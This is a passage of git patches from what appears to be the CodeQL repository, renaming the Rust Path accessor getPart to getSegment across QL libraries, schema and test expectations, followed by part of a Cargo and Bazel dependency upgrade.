a/rust/ql/lib/codeql/rust/elements/internal/generated/Path.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Path.qll index 5cb827c3357..60248dc9d30 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Path.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Path.qll @@ -42,15 +42,16 @@ module Generated { final predicate hasQualifier() { exists(this.getQualifier()) } /** - * Gets the part of this path, if it exists. + * Gets the last segment of this path, if it exists. */ - PathSegment getPart() { - result = Synth::convertPathSegmentFromRaw(Synth::convertPathToRaw(this).(Raw::Path).getPart()) + PathSegment getSegment() { + result = + Synth::convertPathSegmentFromRaw(Synth::convertPathToRaw(this).(Raw::Path).getSegment()) } /** - * Holds if `getPart()` exists. + * Holds if `getSegment()` exists. */ - final predicate hasPart() { exists(this.getPart()) } + final predicate hasSegment() { exists(this.getSegment()) } } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll index c7a1472362e..78f067bc668 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll @@ -718,9 +718,9 @@ module Raw { Path getQualifier() { path_qualifiers(this, result) } /** - * Gets the part of this path, if it exists. + * Gets the last segment of this path, if it exists. */ - PathSegment getPart() { path_parts(this, result) } + PathSegment getSegment() { path_segments_(this, result) } } /** diff --git a/rust/ql/lib/codeql/rust/frameworks/rustcrypto/RustCrypto.qll b/rust/ql/lib/codeql/rust/frameworks/rustcrypto/RustCrypto.qll index 18ece8b2408..c043cbf6033 100644 --- a/rust/ql/lib/codeql/rust/frameworks/rustcrypto/RustCrypto.qll +++ b/rust/ql/lib/codeql/rust/frameworks/rustcrypto/RustCrypto.qll @@ -31,14 +31,14 @@ class StreamCipherInit extends Cryptography::CryptographicOperation::Range { rawAlgorithmName = p.getPath() .getQualifier() - .getPart() + .getSegment() .getGenericArgList() .getGenericArg(0) .(TypeArg) .getTypeRepr() .(PathTypeRepr) .getPath() - .getPart() + .getSegment() .getNameRef() .getText() ) and diff --git a/rust/ql/lib/codeql/rust/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/internal/PathResolution.qll index b49db6d40e3..42cc04e7422 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolution.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolution.qll @@ -312,7 +312,7 @@ class ImplItemNode extends ImplOrTraitItemNode instanceof Impl { pragma[nomagic] private TypeRepr getASelfTyArg() { result = - this.getSelfPath().getPart().getGenericArgList().getAGenericArg().(TypeArg).getTypeRepr() + this.getSelfPath().getSegment().getGenericArgList().getAGenericArg().(TypeArg).getTypeRepr() } /** diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index 17a7e95b5a3..52a2eb0ead3 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -240,7 +240,7 @@ private Type inferImplicitSelfType(SelfParam self, TypePath path) { */ private TypeMention getExplicitTypeArgMention(Path path, TypeParam tp) { exists(int i | - result = path.getPart().getGenericArgList().getTypeArg(pragma[only_bind_into](i)) and + result = path.getSegment().getGenericArgList().getTypeArg(pragma[only_bind_into](i)) and tp = resolvePath(path).getTypeParam(pragma[only_bind_into](i)) ) or diff --git a/rust/ql/lib/codeql/rust/internal/TypeMention.qll b/rust/ql/lib/codeql/rust/internal/TypeMention.qll index 7def62da554..f8fa7923f21 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeMention.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeMention.qll @@ -78,7 +78,7 @@ class TypeReprMention extends TypeMention, TypeRepr { class PathMention extends TypeMention, Path { override TypeMention getTypeArgument(int i) { - result = this.getPart().getGenericArgList().getTypeArg(i) + result = this.getSegment().getGenericArgList().getTypeArg(i) or // `Self` paths inside traits and `impl` blocks have implicit type arguments // that are the type parameters of the trait or impl. For example, in @@ -93,7 +93,7 @@ class PathMention extends TypeMention, Path { // // the `Self` return type is shorthand for `Foo`. exists(ImplOrTraitItemNode node | this = node.getASelfPath() | - result = node.(ImplItemNode).getSelfPath().getPart().getGenericArgList().getTypeArg(i) + result = node.(ImplItemNode).getSelfPath().getSegment().getGenericArgList().getTypeArg(i) or result = node.(Trait).getGenericParamList().getTypeParam(i) ) @@ -140,7 +140,7 @@ private predicate isImplSelfTypeParam( ) { exists(PathMention path | selfPath = impl.getSelfPath() and - path = selfPath.getPart().getGenericArgList().getTypeArg(i).(PathTypeRepr).getPath() and + path = selfPath.getSegment().getGenericArgList().getTypeArg(i).(PathTypeRepr).getPath() and tp = path.resolveType() ) } diff --git a/rust/ql/lib/codeql/rust/security/regex/RegexInjectionExtensions.qll b/rust/ql/lib/codeql/rust/security/regex/RegexInjectionExtensions.qll index 5ab77b63b6a..ec0dfa56e1d 100644 --- a/rust/ql/lib/codeql/rust/security/regex/RegexInjectionExtensions.qll +++ b/rust/ql/lib/codeql/rust/security/regex/RegexInjectionExtensions.qll @@ -63,7 +63,7 @@ private class RegexInjectionDefaultBarrier extends RegexInjectionBarrier { .getFunction() .(PathExpr) .getPath() - .getPart() + .getSegment() .getNameRef() .getText() = "escape" } diff --git a/rust/ql/lib/rust.dbscheme b/rust/ql/lib/rust.dbscheme index eccb4fa8b63..c066837a1f0 100644 --- a/rust/ql/lib/rust.dbscheme +++ b/rust/ql/lib/rust.dbscheme @@ -771,9 +771,9 @@ path_qualifiers( ); #keyset[id] -path_parts( +path_segments_( int id: @path ref, - int part: @path_segment ref + int segment: @path_segment ref ); path_segments( diff --git a/rust/ql/test/extractor-tests/generated/Path/Path.expected b/rust/ql/test/extractor-tests/generated/Path/Path.expected index 4cda1d25932..7cf8362293e 100644 --- a/rust/ql/test/extractor-tests/generated/Path/Path.expected +++ b/rust/ql/test/extractor-tests/generated/Path/Path.expected @@ -1,25 +1,25 @@ -| gen_path.rs:5:9:5:18 | some_crate | hasQualifier: | no | hasPart: | yes | -| gen_path.rs:5:9:5:31 | ...::some_module | hasQualifier: | yes | hasPart: | yes | -| gen_path.rs:5:9:5:42 | ...::some_item | hasQualifier: | yes | hasPart: | yes | -| gen_path.rs:6:5:6:7 | foo | hasQualifier: | no | hasPart: | yes | -| gen_path.rs:6:5:6:12 | ...::bar | hasQualifier: | yes | hasPart: | yes | -| gen_path_expr.rs:5:13:5:20 | variable | hasQualifier: | no | hasPart: | yes | -| gen_path_expr.rs:6:13:6:15 | foo | hasQualifier: | no | hasPart: | yes | -| gen_path_expr.rs:6:13:6:20 | ...::bar | hasQualifier: | yes | hasPart: | yes | -| gen_path_expr.rs:7:13:7:15 | <...> | hasQualifier: | no | hasPart: | yes | -| gen_path_expr.rs:7:13:7:20 | ...::foo | hasQualifier: | yes | hasPart: | yes | -| gen_path_expr.rs:7:14:7:14 | T | hasQualifier: | no | hasPart: | yes | -| gen_path_expr.rs:8:13:8:31 | <...> | hasQualifier: | no | hasPart: | yes | -| gen_path_expr.rs:8:13:8:36 | ...::foo | hasQualifier: | yes | hasPart: | yes | -| gen_path_expr.rs:8:14:8:21 | TypeRepr | hasQualifier: | no | hasPart: | yes | -| gen_path_expr.rs:8:26:8:30 | Trait | hasQualifier: | no | hasPart: | yes | -| gen_path_pat.rs:5:11:5:11 | x | hasQualifier: | no | hasPart: | yes | -| gen_path_pat.rs:6:9:6:11 | Foo | hasQualifier: | no | hasPart: | yes | -| gen_path_pat.rs:6:9:6:16 | ...::Bar | hasQualifier: | yes | hasPart: | yes | -| gen_path_type_repr.rs:5:14:5:16 | std | hasQualifier: | no | hasPart: | yes | -| gen_path_type_repr.rs:5:14:5:29 | ...::collections | hasQualifier: | yes | hasPart: | yes | -| gen_path_type_repr.rs:5:14:5:48 | ...::HashMap::<...> | hasQualifier: | yes | hasPart: | yes | -| gen_path_type_repr.rs:5:40:5:42 | i32 | hasQualifier: | no | hasPart: | yes | -| gen_path_type_repr.rs:5:45:5:47 | i32 | hasQualifier: | no | hasPart: | yes | -| gen_path_type_repr.rs:6:14:6:14 | X | hasQualifier: | no | hasPart: | yes | -| gen_path_type_repr.rs:6:14:6:20 | ...::Item | hasQualifier: | yes | hasPart: | yes | +| gen_path.rs:5:9:5:18 | some_crate | hasQualifier: | no | hasSegment: | yes | +| gen_path.rs:5:9:5:31 | ...::some_module | hasQualifier: | yes | hasSegment: | yes | +| gen_path.rs:5:9:5:42 | ...::some_item | hasQualifier: | yes | hasSegment: | yes | +| gen_path.rs:6:5:6:7 | foo | hasQualifier: | no | hasSegment: | yes | +| gen_path.rs:6:5:6:12 | ...::bar | hasQualifier: | yes | hasSegment: | yes | +| gen_path_expr.rs:5:13:5:20 | variable | hasQualifier: | no | hasSegment: | yes | +| gen_path_expr.rs:6:13:6:15 | foo | hasQualifier: | no | hasSegment: | yes | +| gen_path_expr.rs:6:13:6:20 | ...::bar | hasQualifier: | yes | hasSegment: | yes | +| gen_path_expr.rs:7:13:7:15 | <...> | hasQualifier: | no | hasSegment: | yes | +| gen_path_expr.rs:7:13:7:20 | ...::foo | hasQualifier: | yes | hasSegment: | yes | +| gen_path_expr.rs:7:14:7:14 | T | hasQualifier: | no | hasSegment: | yes | +| gen_path_expr.rs:8:13:8:31 | <...> | hasQualifier: | no | hasSegment: | yes | +| gen_path_expr.rs:8:13:8:36 | ...::foo | hasQualifier: | yes | hasSegment: | yes | +| gen_path_expr.rs:8:14:8:21 | TypeRepr | hasQualifier: | no | hasSegment: | yes | +| gen_path_expr.rs:8:26:8:30 | Trait | hasQualifier: | no | hasSegment: | yes | +| gen_path_pat.rs:5:11:5:11 | x | hasQualifier: | no | hasSegment: | yes | +| gen_path_pat.rs:6:9:6:11 | Foo | hasQualifier: | no | hasSegment: | yes | +| gen_path_pat.rs:6:9:6:16 | ...::Bar | hasQualifier: | yes | hasSegment: | yes | +| gen_path_type_repr.rs:5:14:5:16 | std | hasQualifier: | no | hasSegment: | yes | +| gen_path_type_repr.rs:5:14:5:29 | ...::collections | hasQualifier: | yes | hasSegment: | yes | +| gen_path_type_repr.rs:5:14:5:48 | ...::HashMap::<...> | hasQualifier: | yes | hasSegment: | yes | +| gen_path_type_repr.rs:5:40:5:42 | i32 | hasQualifier: | no | hasSegment: | yes | +| gen_path_type_repr.rs:5:45:5:47 | i32 | hasQualifier: | no | hasSegment: | yes | +| gen_path_type_repr.rs:6:14:6:14 | X | hasQualifier: | no | hasSegment: | yes | +| gen_path_type_repr.rs:6:14:6:20 | ...::Item | hasQualifier: | yes | hasSegment: | yes | diff --git a/rust/ql/test/extractor-tests/generated/Path/Path.ql b/rust/ql/test/extractor-tests/generated/Path/Path.ql index c5e1ba9d78a..2f32fa34147 100644 --- a/rust/ql/test/extractor-tests/generated/Path/Path.ql +++ b/rust/ql/test/extractor-tests/generated/Path/Path.ql @@ -2,10 +2,10 @@ import codeql.rust.elements import TestUtils -from Path x, string hasQualifier, string hasPart +from Path x, string hasQualifier, string hasSegment where toBeTested(x) and not x.isUnknown() and (if x.hasQualifier() then hasQualifier = "yes" else hasQualifier = "no") and - if x.hasPart() then hasPart = "yes" else hasPart = "no" -select x, "hasQualifier:", hasQualifier, "hasPart:", hasPart + if x.hasSegment() then hasSegment = "yes" else hasSegment = "no" +select x, "hasQualifier:", hasQualifier, "hasSegment:", hasSegment diff --git a/rust/ql/test/extractor-tests/generated/Path/Path_getPart.ql b/rust/ql/test/extractor-tests/generated/Path/Path_getSegment.ql similarity index 84% rename from rust/ql/test/extractor-tests/generated/Path/Path_getPart.ql rename to rust/ql/test/extractor-tests/generated/Path/Path_getSegment.ql index 402b1354588..7ccbefb4149 100644 --- a/rust/ql/test/extractor-tests/generated/Path/Path_getPart.ql +++ b/rust/ql/test/extractor-tests/generated/Path/Path_getSegment.ql @@ -4,4 +4,4 @@ import TestUtils from Path x where toBeTested(x) and not x.isUnknown() -select x, x.getPart() +select x, x.getSegment() diff --git a/rust/schema/annotations.py b/rust/schema/annotations.py index 68d2c1a7736..c23425a65cd 100644 --- a/rust/schema/annotations.py +++ b/rust/schema/annotations.py @@ -87,6 +87,7 @@ class _: foo::bar; ``` """ + segment: _ | ql.db_table_name("path_segments_") | doc("last segment of this path") @annotate(GenericArgList) diff --git a/rust/schema/ast.py b/rust/schema/ast.py index 84e30ac407a..a7391c4dd87 100644 --- a/rust/schema/ast.py +++ b/rust/schema/ast.py @@ -479,7 +479,7 @@ class ParenthesizedArgList(AstNode, ): class Path(AstNode, ): qualifier: optional["Path"] | child - part: optional["PathSegment"] | child + segment: optional["PathSegment"] | child class PathExpr(Expr, ): attrs: list["Attr"] | child From 12214b65a4d8a17d4ea32d397fe018e91ae402e2 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 20 Mar 2025 16:35:56 +0100 Subject: [PATCH 041/282] Rust: add forgotten expected file --- .../generated/Path/Path_getSegment.expected | 25 +++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 rust/ql/test/extractor-tests/generated/Path/Path_getSegment.expected diff --git a/rust/ql/test/extractor-tests/generated/Path/Path_getSegment.expected b/rust/ql/test/extractor-tests/generated/Path/Path_getSegment.expected new file mode 100644 index 00000000000..54cad7249d6 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Path/Path_getSegment.expected @@ -0,0 +1,25 @@ +| gen_path.rs:5:9:5:18 | some_crate | gen_path.rs:5:9:5:18 | some_crate | +| gen_path.rs:5:9:5:31 | ...::some_module | gen_path.rs:5:21:5:31 | some_module | +| gen_path.rs:5:9:5:42 | ...::some_item | gen_path.rs:5:34:5:42 | some_item | +| gen_path.rs:6:5:6:7 | foo | gen_path.rs:6:5:6:7 | foo | +| gen_path.rs:6:5:6:12 | ...::bar | gen_path.rs:6:10:6:12 | bar | +| gen_path_expr.rs:5:13:5:20 | variable | gen_path_expr.rs:5:13:5:20 | variable | +| gen_path_expr.rs:6:13:6:15 | foo | gen_path_expr.rs:6:13:6:15 | foo | +| gen_path_expr.rs:6:13:6:20 | ...::bar | gen_path_expr.rs:6:18:6:20 | bar | +| gen_path_expr.rs:7:13:7:15 | <...> | gen_path_expr.rs:7:13:7:15 | <...> | +| gen_path_expr.rs:7:13:7:20 | ...::foo | gen_path_expr.rs:7:18:7:20 | foo | +| gen_path_expr.rs:7:14:7:14 | T | gen_path_expr.rs:7:14:7:14 | T | +| gen_path_expr.rs:8:13:8:31 | <...> | gen_path_expr.rs:8:13:8:31 | <...> | +| gen_path_expr.rs:8:13:8:36 | ...::foo | gen_path_expr.rs:8:34:8:36 | foo | +| gen_path_expr.rs:8:14:8:21 | TypeRepr | gen_path_expr.rs:8:14:8:21 | TypeRepr | +| gen_path_expr.rs:8:26:8:30 | Trait | gen_path_expr.rs:8:26:8:30 | Trait | +| gen_path_pat.rs:5:11:5:11 | x | gen_path_pat.rs:5:11:5:11 | x | +| gen_path_pat.rs:6:9:6:11 | Foo | gen_path_pat.rs:6:9:6:11 | Foo | +| gen_path_pat.rs:6:9:6:16 | ...::Bar | gen_path_pat.rs:6:14:6:16 | Bar | +| gen_path_type_repr.rs:5:14:5:16 | std | gen_path_type_repr.rs:5:14:5:16 | std | +| gen_path_type_repr.rs:5:14:5:29 | ...::collections | gen_path_type_repr.rs:5:19:5:29 | collections | +| gen_path_type_repr.rs:5:14:5:48 | ...::HashMap::<...> | gen_path_type_repr.rs:5:32:5:48 | HashMap::<...> | +| gen_path_type_repr.rs:5:40:5:42 | i32 | gen_path_type_repr.rs:5:40:5:42 | i32 | +| gen_path_type_repr.rs:5:45:5:47 | i32 | gen_path_type_repr.rs:5:45:5:47 | i32 | +| gen_path_type_repr.rs:6:14:6:14 | X | gen_path_type_repr.rs:6:14:6:14 | X | +| gen_path_type_repr.rs:6:14:6:20 | ...::Item | gen_path_type_repr.rs:6:17:6:20 | Item | From 13370200cc72c6013746269cee1f07072df0a921 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 20 Mar 2025 16:48:29 +0100 Subject: [PATCH 042/282] Cargo: upgrade dependencies --- Cargo.lock | 455 +++++++--- MODULE.bazel | 52 +- ...azel => BUILD.allocator-api2-0.2.21.bazel} | 8 +- ...1.0.96.bazel => BUILD.anyhow-1.0.97.bazel} | 6 +- .../tree_sitter_extractors_deps/BUILD.bazel | 160 ++-- .../BUILD.boxcar-0.2.11.bazel | 83 ++ .../BUILD.camino-1.1.9.bazel | 2 +- .../BUILD.cargo-platform-0.1.9.bazel | 2 +- .../BUILD.cargo_metadata-0.18.1.bazel | 4 +- ...bazel => BUILD.chalk-derive-0.100.0.bazel} | 8 +- ...9.0.bazel => BUILD.chalk-ir-0.100.0.bazel} | 4 +- ...el => BUILD.chalk-recursive-0.100.0.bazel} | 8 +- ....bazel => BUILD.chalk-solve-0.100.0.bazel} | 6 +- ...0.4.39.bazel => BUILD.chrono-0.4.40.bazel} | 12 +- ...p-4.5.31.bazel => BUILD.clap-4.5.32.bazel} | 6 +- ....bazel => BUILD.clap_builder-4.5.32.bazel} | 2 +- ...8.bazel => BUILD.clap_derive-4.5.32.bazel} | 8 +- .../BUILD.crossbeam-queue-0.3.12.bazel | 91 ++ .../BUILD.darling_core-0.20.10.bazel | 6 +- .../BUILD.darling_macro-0.20.10.bazel | 4 +- .../BUILD.dashmap-6.1.0.bazel | 94 ++ ...1.14.0.bazel => BUILD.either-1.15.0.bazel} | 3 +- .../BUILD.figment-0.10.19.bazel | 2 +- .../BUILD.foldhash-0.1.5.bazel | 83 ++ .../BUILD.generator-0.8.4.bazel | 230 +++++ .../BUILD.hashbrown-0.14.5.bazel | 1 + .../BUILD.hashbrown-0.15.2.bazel | 13 + ....2.0.bazel => BUILD.hashlink-0.10.0.bazel} | 11 +- .../BUILD.indexmap-2.7.0.bazel | 2 + .../BUILD.itertools-0.12.1.bazel | 2 +- .../BUILD.itertools-0.14.0.bazel | 2 +- .../BUILD.loom-0.7.2.bazel | 90 ++ .../BUILD.mustache-0.9.0.bazel | 2 +- .../BUILD.pear_codegen-0.2.9.bazel | 6 +- .../BUILD.portable-atomic-1.11.0.bazel | 150 ++++ ...3.bazel => BUILD.proc-macro2-1.0.94.bazel} | 6 +- ...BUILD.proc-macro2-diagnostics-0.10.1.bazel | 6 +- ...-1.0.38.bazel => BUILD.quote-1.0.40.bazel} | 4 +- ...el => BUILD.ra-ap-rustc_abi-0.100.0.bazel} | 10 +- ...=> BUILD.ra-ap-rustc_hashes-0.100.0.bazel} | 2 +- ... => BUILD.ra-ap-rustc_index-0.100.0.bazel} | 6 +- ...LD.ra-ap-rustc_index_macros-0.100.0.bazel} | 8 +- ... => BUILD.ra-ap-rustc_lexer-0.100.0.bazel} | 2 +- ...LD.ra-ap-rustc_parse_format-0.100.0.bazel} | 10 +- ...a-ap-rustc_pattern_analysis-0.100.0.bazel} | 6 +- ...azel => BUILD.ra_ap_base_db-0.0.270.bazel} | 35 +- ...66.bazel => BUILD.ra_ap_cfg-0.0.270.bazel} | 12 +- ...azel => BUILD.ra_ap_edition-0.0.270.bazel} | 4 +- ...66.bazel => BUILD.ra_ap_hir-0.0.270.bazel} | 46 +- ...azel => BUILD.ra_ap_hir_def-0.0.270.bazel} | 53 +- ...l => BUILD.ra_ap_hir_expand-0.0.270.bazel} | 51 +- ...bazel => BUILD.ra_ap_hir_ty-0.0.270.bazel} | 53 +- ...bazel => BUILD.ra_ap_ide_db-0.0.270.bazel} | 42 +- ...bazel => BUILD.ra_ap_intern-0.0.270.bazel} | 4 +- ...l => BUILD.ra_ap_load-cargo-0.0.270.bazel} | 46 +- ...66.bazel => BUILD.ra_ap_mbe-0.0.270.bazel} | 34 +- ...bazel => BUILD.ra_ap_parser-0.0.270.bazel} | 10 +- ....bazel => BUILD.ra_ap_paths-0.0.270.bazel} | 4 +- ... BUILD.ra_ap_proc_macro_api-0.0.270.bazel} | 30 +- ...azel => BUILD.ra_ap_profile-0.0.270.bazel} | 22 +- ...> BUILD.ra_ap_project_model-0.0.270.bazel} | 40 +- ...UILD.ra_ap_query-group-macro-0.0.270.bazel | 90 ++ ...6.bazel => BUILD.ra_ap_span-0.0.270.bazel} | 22 +- ...6.bazel => BUILD.ra_ap_stdx-0.0.270.bazel} | 6 +- ...bazel => BUILD.ra_ap_syntax-0.0.270.bazel} | 16 +- ...> BUILD.ra_ap_syntax-bridge-0.0.270.bazel} | 28 +- ...el => BUILD.ra_ap_toolchain-0.0.270.bazel} | 4 +- ...266.bazel => BUILD.ra_ap_tt-0.0.270.bazel} | 14 +- ...66.bazel => BUILD.ra_ap_vfs-0.0.270.bazel} | 12 +- ...l => BUILD.ra_ap_vfs-notify-0.0.270.bazel} | 16 +- .../BUILD.rayon-1.10.0.bazel | 2 +- .../BUILD.rustversion-1.0.20.bazel | 142 +++ ...0.0.266.bazel => BUILD.salsa-0.19.0.bazel} | 26 +- .../BUILD.salsa-macro-rules-0.19.0.bazel | 83 ++ .../BUILD.salsa-macros-0.19.0.bazel | 90 ++ .../BUILD.semver-1.0.24.bazel | 2 +- ....0.218.bazel => BUILD.serde-1.0.219.bazel} | 8 +- ...bazel => BUILD.serde_derive-1.0.219.bazel} | 8 +- ...9.bazel => BUILD.serde_json-1.0.140.bazel} | 8 +- .../BUILD.serde_spanned-0.6.8.bazel | 2 +- .../BUILD.serde_with-3.12.0.bazel | 4 +- .../BUILD.serde_with_macros-3.12.0.bazel | 6 +- .../BUILD.serde_yaml-0.9.34+deprecated.bazel | 2 +- ...n-2.0.98.bazel => BUILD.syn-2.0.100.bazel} | 6 +- .../BUILD.synstructure-0.13.1.bazel | 6 +- .../BUILD.thiserror-impl-1.0.69.bazel | 6 +- .../BUILD.toml-0.8.20.bazel | 2 +- .../BUILD.toml_datetime-0.6.8.bazel | 2 +- .../BUILD.toml_edit-0.22.24.bazel | 2 +- .../BUILD.tracing-attributes-0.1.28.bazel | 6 +- .../BUILD.triomphe-0.1.14.bazel | 2 +- .../BUILD.wasm-bindgen-backend-0.2.99.bazel | 6 +- .../BUILD.wasm-bindgen-macro-0.2.99.bazel | 2 +- ...LD.wasm-bindgen-macro-support-0.2.99.bazel | 6 +- .../BUILD.windows-0.58.0.bazel | 87 ++ .../BUILD.windows-core-0.58.0.bazel | 92 ++ ...l => BUILD.windows-implement-0.58.0.bazel} | 13 +- .../BUILD.windows-interface-0.58.0.bazel | 88 ++ .../BUILD.windows-link-0.1.1.bazel | 83 ++ .../BUILD.windows-result-0.2.0.bazel | 86 ++ .../BUILD.windows-strings-0.1.0.bazel | 87 ++ .../BUILD.zerocopy-derive-0.7.35.bazel | 6 +- .../BUILD.zerocopy-derive-0.8.20.bazel | 6 +- .../tree_sitter_extractors_deps/defs.bzl | 813 +++++++++++------- rust/ast-generator/Cargo.toml | 12 +- rust/extractor/Cargo.toml | 42 +- rust/extractor/macros/Cargo.toml | 4 +- shared/tree-sitter-extractor/Cargo.toml | 2 +- 108 files changed, 3187 insertions(+), 1035 deletions(-) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.heck-0.4.1.bazel => BUILD.allocator-api2-0.2.21.bazel} (97%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.anyhow-1.0.96.bazel => BUILD.anyhow-1.0.97.bazel} (97%) create mode 100644 misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.boxcar-0.2.11.bazel rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.chalk-derive-0.99.0.bazel => BUILD.chalk-derive-0.100.0.bazel} (95%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.chalk-ir-0.99.0.bazel => BUILD.chalk-ir-0.100.0.bazel} (97%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.chalk-recursive-0.99.0.bazel => BUILD.chalk-recursive-0.100.0.bazel} (95%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.chalk-solve-0.99.0.bazel => BUILD.chalk-solve-0.100.0.bazel} (96%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.chrono-0.4.39.bazel => BUILD.chrono-0.4.40.bazel} (95%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.clap-4.5.31.bazel => BUILD.clap-4.5.32.bazel} (96%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.clap_builder-4.5.31.bazel => BUILD.clap_builder-4.5.32.bazel} (99%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.clap_derive-4.5.28.bazel => BUILD.clap_derive-4.5.32.bazel} (95%) create mode 100644 misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.crossbeam-queue-0.3.12.bazel create mode 100644 misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.dashmap-6.1.0.bazel rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.either-1.14.0.bazel => BUILD.either-1.15.0.bazel} (98%) create mode 100644 misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.foldhash-0.1.5.bazel create mode 100644 misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.generator-0.8.4.bazel rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.always-assert-0.2.0.bazel => BUILD.hashlink-0.10.0.bazel} (95%) create mode 100644 misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.loom-0.7.2.bazel create mode 100644 misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.portable-atomic-1.11.0.bazel rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.proc-macro2-1.0.93.bazel => BUILD.proc-macro2-1.0.94.bazel} (97%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.quote-1.0.38.bazel => BUILD.quote-1.0.40.bazel} (97%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra-ap-rustc_abi-0.97.0.bazel => BUILD.ra-ap-rustc_abi-0.100.0.bazel} (91%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra-ap-rustc_hashes-0.97.0.bazel => BUILD.ra-ap-rustc_hashes-0.100.0.bazel} (99%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra-ap-rustc_index-0.97.0.bazel => BUILD.ra-ap-rustc_index-0.100.0.bazel} (94%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra-ap-rustc_index_macros-0.97.0.bazel => BUILD.ra-ap-rustc_index_macros-0.100.0.bazel} (95%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra-ap-rustc_lexer-0.97.0.bazel => BUILD.ra-ap-rustc_lexer-0.100.0.bazel} (99%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra-ap-rustc_parse_format-0.97.0.bazel => BUILD.ra-ap-rustc_parse_format-0.100.0.bazel} (91%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra-ap-rustc_pattern_analysis-0.97.0.bazel => BUILD.ra-ap-rustc_pattern_analysis-0.100.0.bazel} (95%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra_ap_base_db-0.0.266.bazel => BUILD.ra_ap_base_db-0.0.270.bazel} (78%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra_ap_cfg-0.0.266.bazel => BUILD.ra_ap_cfg-0.0.270.bazel} (93%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra_ap_edition-0.0.266.bazel => BUILD.ra_ap_edition-0.0.270.bazel} (98%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra_ap_hir-0.0.266.bazel => BUILD.ra_ap_hir-0.0.270.bazel} (75%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra_ap_hir_def-0.0.266.bazel => BUILD.ra_ap_hir_def-0.0.270.bazel} (73%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra_ap_hir_expand-0.0.266.bazel => BUILD.ra_ap_hir_expand-0.0.270.bazel} (72%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra_ap_hir_ty-0.0.266.bazel => BUILD.ra_ap_hir_ty-0.0.270.bazel} (72%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra_ap_ide_db-0.0.266.bazel => BUILD.ra_ap_ide_db-0.0.270.bazel} (76%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra_ap_intern-0.0.266.bazel => BUILD.ra_ap_intern-0.0.270.bazel} (98%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra_ap_load-cargo-0.0.266.bazel => BUILD.ra_ap_load-cargo-0.0.270.bazel} (74%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra_ap_mbe-0.0.266.bazel => BUILD.ra_ap_mbe-0.0.270.bazel} (80%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra_ap_parser-0.0.266.bazel => BUILD.ra_ap_parser-0.0.270.bazel} (93%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra_ap_paths-0.0.266.bazel => BUILD.ra_ap_paths-0.0.270.bazel} (98%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra_ap_proc_macro_api-0.0.266.bazel => BUILD.ra_ap_proc_macro_api-0.0.270.bazel} (82%) rename misc/bazel/3rdparty/tree_sitter_extractors_deps/{BUILD.ra_ap_profile-0.0.266.bazel => BUILD.ra_ap_profile-0.0.270.bazel} (91%) rename 